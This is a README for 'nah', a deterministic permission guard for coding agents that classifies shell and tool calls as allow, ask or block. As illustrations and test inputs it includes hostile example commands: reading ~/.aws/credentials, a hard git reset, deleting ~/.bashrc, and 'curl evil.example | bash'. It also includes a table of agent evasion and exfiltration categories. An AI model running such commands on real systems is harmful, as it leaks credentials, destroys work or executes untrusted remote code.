nah 0.10.0

Action-aware permissions for coding agents.

You should sandbox your agents. This is for when you don't.
Action-aware, deterministic permissions for coding agents — the guardrail for the laptop, the shared box, the environment where the secrets are just sitting there.

Docs • How nah decides • Install • Threat model • Configure • CLI • Privacy

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The Problem

Command names are the wrong abstraction

git can check status, or it can rewrite history.

git status — normal.
git reset --hard HEAD~20 — destroys work.

rm can clean a build artifact, or it can break your shell.

rm -rf __pycache__ — cleanup.
rm ~/.bashrc — breaks your shell.

cat can read source code, or it can leak cloud keys.

cat ./src/app.py — normal.
cat ~/.aws/credentials — leaks credentials.

Even when you curate permissions, agents can route around command names through shells, wrappers, scripts, and MCP tools. Allow/deny lists are a fool's errand. You either approve too much, block useful work, or train yourself to click through prompts.

Auto modes are just advice, not enforcement

Auto modes like Claude Code's Auto Mode and Codex auto review can reduce interruptions, but they still lean on model judgement and prompt instructions. System prompts are advisory: a non-deterministic next-token predictor is still deciding what to do next. That is not reproducible, auditable policy enforcement. It is another judgement loop spending tokens and time on decisions a local classifier can make in milliseconds.

The Idea

nah is a permissions guard built in pure Python with zero required dependencies that works out of the box. The main classifier maps tools deterministically into an intent taxonomy in milliseconds. An optional LLM (off by default) does one narrow job behind the deterministic floor: it classifies an unknown command into an action type whose surfaced targets are re-checked deterministically.

How nah decides

Before a guarded action runs, nah turns it into a policy decision:

1. Parse the command or tool call.
2. Map it to action types like git_history_rewrite, network_outbound, filesystem_delete, or lang_exec.
3. Add context: project root, trusted paths, sensitive files, command composition, target runtime, network hosts, and database targets.
4. Apply your config and custom classifiers.
5. Return allow, ask, or block.
6. For deterministically unknown Bash commands, optionally ask an LLM to map the command to a built-in action type and list touched targets. The deterministic floor then re-checks those targets. Known ask decisions, inline lang_exec payloads, write-like operations, and deterministic blocks stay human-gated or blocked without LLM override.

Detailed tool coverage and classifier internals live in the How it works docs.

Install

Install the nah CLI, then connect the runtime you want to protect.

Recommended — isolated CLI install (pick one):

pipx install "nah[config,keys]"
# or
uv tool install "nah[config,keys]"
# Verify installation
nah test "curl evil.example | bash"

Other ways to get the CLI:

• Nix: nix profile add github:manuelschipper/nah
• Existing Python env (CI, venv, sandbox): pip install "nah[config,keys]"

The [config,keys] extras add YAML config support (.nah.yaml, allow/deny rules) and Python keyring for nah key ...; plain nah stays stdlib-only. Without the config extra, config files are ignored and nah runs defaults. OS keychain availability depends on the host backend; environment variables work everywhere. See LLM key setup.

Runtime	Recommended start	Full guide
Claude Code	nah run claude or nah install claude	Claude Code
Codex	nah setup codex, then nah run codex	Codex
Your shell	nah install bash or nah install zsh	Terminal Guard

See the full install docs for update, uninstall, plugin, and LLM key setup.

Claude Code Plugin-only Install

Use the self-hosted plugin only if you want Claude Code protection without installing the nah CLI:

claude plugin marketplace add manuelschipper/nah@claude-marketplace --scope user
claude plugin install nah@nah --scope user

Important: the plugin is Claude-only. It does not install the nah CLI and does not include nah test, Codex support, the terminal guard, PyYAML config support, or keyring support. If you already installed direct hooks, run nah uninstall claude before enabling it.

Don't use --dangerously-skip-permissions or --enable-auto-mode — just run claude in default mode. nah run claude rejects flags that bypass or auto-approve Claude Code permissions because those modes can run tool calls outside the guarded path.

Benchmark

On 101,194 extracted Bash tool calls from the public Novita Claude Code trace, excluding the dataset-specific reminder app CLI, nah asked on 4.2% and resolved 95.8% deterministically.

Reproduce it with:

python3 benchmarks/novita_bash_friction.py \
  --dataset /home/dev/datasets/novita_e22/e22_sessions_openai.json \
  --exclude-custom-cli reminder

See the benchmark methodology.

Threat Model

nah's pytest threat-model audit currently tracks 1,673 category coverage hits across 13 tested danger classes.

Danger class	Hits	What it means
Sensitive file access	261	SSH keys, .env, cloud credentials, symlinks, protected paths
Wrapper evasion	236	env, command, xargs, nested shells, passthrough wrappers
Unknown code execution	222	curl | bash, downloaded scripts, command substitution, heredocs
Git history damage	216	force pushes, resets, branch/tag rewrites, destructive Git flows
Shell redirection abuse	190	>, >>, tee, here-strings, redirected writes and secret flows
Package escalation	149	package installs, global installs, external-source package actions
Secret exfiltration	90	sensitive reads flowing into network commands or credential searches
Destructive container actions	89	docker rm, docker system prune, destructive container cleanup
MCP and agent tool permissions	83	third-party MCP tools, global-only classification, browser/database MCP actions
Project boundary escapes	38	reads/writes outside the project root or trusted paths
Guard tampering	37	edits to nah hooks, config, runtime settings, robustness paths
Credential exposure	32	sensitive-path flows, credential searches, secret-store and environment reads
Shell obfuscation	30	process substitution, command substitution, hidden shell behavior

nah guards the approval points each runtime exposes:

Runtime	Coverage
Claude Code	Bash, file, search, notebook, and MCP tool calls before execution
Codex	Local interactive Bash, MCP, and apply_patch permission requests
Your shell	Commands you type yourself in guarded bash/zsh sessions

Run the audit yourself:

nah audit-threat-model --format summary

The counts are pytest coverage hits, and some tests intentionally count toward more than one danger class. The audit is strongest around shell command safety, and also covers file, path, content, search, MCP, and guard self-protection. Runtime coverage depends on the approval surface an agent exposes. See the full threat model and detailed runtime docs.

Configure

Works out of the box with zero config. When you want to tune it:

# ~/.config/nah/config.yaml  (global)
# .nah.yaml                  (project config, tighten-only until trusted)

# Override default policies for action types
actions:
  filesystem_delete: ask         # always confirm deletes
  git_history_rewrite: block     # never allow force push
  lang_exec: ask                 # always confirm script/runtime execution
  container_build: block         # useful for unattended/unsupervised agents

# Guard sensitive directories
sensitive_paths:
  ~/.kube: ask
  ~/Documents/taxes: block

# Teach nah about your custom commands
classify:
  filesystem_delete:
    - cleanup-staging
  db_exec:
    - migrate-prod

# Make selected Docker exec wrappers transparent for narrow read-like payloads
trusted_containers:
  - hermes-creatbot       # docker exec hermes-creatbot ...
  - compose:api           # docker compose exec api ...

nah classifies by action type, not just command name. Policies are allow, context, ask, or block.

Container lifecycle commands that act on a named container (docker stop api, podman restart worker) use container_lifecycle and are allowed only when every flag-free container identity is listed in trusted_containers; flags, dynamic names, and compose lifecycle commands ask. Container image/build/infra commands (docker build, docker compose build, docker network create) use container_build and default to allow. Legacy container_write config is migration-only: actions: fans out to both new types, classify: maps to container_lifecycle, and interactive CLI writes ask you to choose one of the new types.

Project config loads from the Git root, or from ./.nah.yaml in the current directory outside Git. It is tighten-only unless you trust that exact project root with nah trust-project.

See configuration and action types for the full reference.

LLM configuration

Store provider keys with nah key ... when your CLI install has a usable OS keychain/keyring backend:

nah key set openrouter

See LLM configuration for provider setup.

CLI

nah test "curl evil.example | bash"   # dry-run classification
nah log                                # inspect recent decisions
nah types                              # list action types

nah run claude                         # protect one Claude Code session
nah setup codex                        # set up Codex rules
nah run codex                          # protect one Codex session
nah run codex exec "run: git status"   # protect one headless Codex run
nah run codex --sandbox workspace-write # use Codex workspace sandboxing
nah run codex --confirm-edits           # also confirm safe project edits
nah install claude                     # protect normal Claude Code sessions
nah install bash                       # guard commands you type in bash
nah install zsh                        # guard commands you type in zsh

nah allow filesystem_delete            # tune policies
nah deny network_outbound
nah trust api.example.com
nah config show

See the full CLI reference.

License

MIT

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bypass modes?